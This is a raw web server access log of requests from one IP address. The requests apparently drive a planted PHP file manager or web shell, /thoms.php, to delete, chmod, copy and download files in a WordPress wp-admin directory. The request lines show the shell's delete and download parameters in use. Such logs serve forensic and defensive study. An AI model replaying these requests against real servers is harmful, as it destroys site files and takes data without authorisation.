45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?chmod=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22249 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?del=maint&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=maint&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=maint&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?del=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?del=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22188 "https://163.245.207.76:443/thoms.php?del=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/privacy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/admin-footer.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?dl=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=user-edit.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?dl=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22176 "https://163.245.207.76:443/thoms.php?dl=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22155 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=user-new.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?dl=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22109 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?del=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?chmod=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22177 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?dl=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/install-helper.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=menu-header.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?del=css&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=css&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?dl=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22271 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22170 "https://163.245.207.76:443/thoms.php?del=css&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22232 "https://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-options.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpost.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpost.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpost.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?chmod=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/update.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/user-edit.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?del=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?chmod=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?del=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?chmod=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
